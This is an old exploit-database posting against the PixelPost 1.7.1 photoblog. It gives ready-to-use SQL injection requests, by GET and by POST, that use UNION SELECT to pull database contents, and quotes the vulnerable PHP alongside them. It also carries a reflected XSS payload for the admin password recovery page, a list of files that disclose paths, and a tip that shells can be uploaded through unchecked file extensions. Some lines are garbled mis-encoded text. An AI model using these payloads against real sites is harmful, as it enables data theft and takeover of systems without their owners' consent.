PixelPost 1.7.1 SQL Injection / XSS

2009-09-01T00:00:00
ID PACKETSTORM:80855
Type packetstorm
Reporter Inj3ct0r
Modified 2009-09-01T00:00:00

Description

                                        
                                            `===========================================  
PixelPost <= 1.7.1 SQL-Inj3ct0r/Xss Exploit  
===========================================  
  
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0   
0 _ __ __ __ 1  
1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ >> Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 0  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1  
  
#[+] Discovered By : Inj3ct0r  
#[+] Site : Inj3ct0r.com  
#[+] support e-mail : submit[at]inj3ct0r.com  
  
  
site: www.pixelpost.org  
product: PixelPost 1.7.1  
download: http://www.pixelpost.org/releases/pixelpost_v1.7.1.zip  
  
----------  
¹ 1  
----------  
SQL-Inj3ct0r Exploit:  
  
Dependence: magic_quotes = off  
index.php?x=browse&category=a&archivedate=1990-12%00')+UNION+SELECT+1,2,DATABASE(),4,5%20--%20  
  
Vulnerable code:  
  
  
if(isset($_GET['category'])) { $pp_cat = addslashes($_GET['category']); }else{ $pp_cat = 0; }   
  
if(is_numeric($pp_cat) && $pp_cat != "")   
{   
[B].. âûðåçàíî ..[/B]   
}   
elseif(isset($_GET['archivedate']) && eregi("^[0-9]{4}-[0-9]{2}$", $_GET['archivedate']))   
{   
$where = "AND (DATE_FORMAT(datetime, '%Y-%m')='".$_GET['archivedate']."')"; //DATE_FORMAT(foo, '%Y-%m-%d')   
$query = mysql_query("SELECT 1,id,{$headline_selection},image, datetime FROM ".$pixelpost_db_prefix."pixelpost WHERE (datetime<='$cdate') $where ORDER BY ".$cfgrow['display_sort_by']." ".$display_order);  
  
----------  
¹ 2  
----------  
SQL-Inj3ct0r Exploit:  
  
Dependence: magic_quotes = off  
GET: index.php? X = browse & category = a  
& & POST: category []=') GROUP BY t2.id UNION SELECT 1,2,3, DATABASE (), 5 --  
  
Vulnerable code:  
  
foreach( $_POST['category'] as $cat)   
{   
$cat = clean($cat);   
$where .= "t1.cat_id='$cat' OR ";   
$lookingfor++;   
}   
  
$where .= " 0)";   
$querystr = "SELECT COUNT(t1.id), t2.id,{$headline_selection},image,datetime   
FROM {$pixelpost_db_prefix}catassoc AS t1   
INNER JOIN {$pixelpost_db_prefix}pixelpost t2 ON t2.id = t1.image_id   
WHERE (datetime<='$cdate') AND   
$where   
GROUP BY t2.id   
ORDER BY ".$cfgrow['display_sort_by']." ".$display_order;   
------------  
Xss Exploit:  
------------  
  
  
Dependence: register_globals = on  
admin/pass_recovery.php?x=passreminder&admin_lang_pw_title=</title><script>alert()</script>  
Password in a cookie pp_password, encrypted by the algorithm sha1(password.$_SERVER["REMOTE_ADDR"]), so the output aypi in sniffer required  
  
----------------  
Disclosure ways:  
----------------  
  
includes/addons_lib.php  
includes/functions_browse.php  
includes/functions_comments.php?x=save_comment (register_globals = on)  
includes/functions_feeds.php  
includes/markdown.php?wp_version=1 (register_globals = on)  
addons/admin_12CropImage.php  
addons/admin_ping.php?view=addons POST çàïðîñ >  
pinglistupdate=1&pinglist=1  
addons/advanced_stat.php  
addons/calendar.php  
addons/copy_folder.php  
addons/paged_archive.php  
addons/_akismet/admin_akismet_comment.php  
addons/_akismet/front_akismet_comment.php  
  
  
Table Prefix by default - pixelpost_  
  
Fill the shell is very simple - Admin does not check the expansion of the filling even the file ...  
  
  
----------------------------------------------  
  
ThE End =] Visit my proj3ct :  
  
http://inj3ct0r.com  
http://inj3ct0r.org  
http://inj3ct0r.net  
  
  
# ~ - [ [ : Inj3ct0r : ] ]`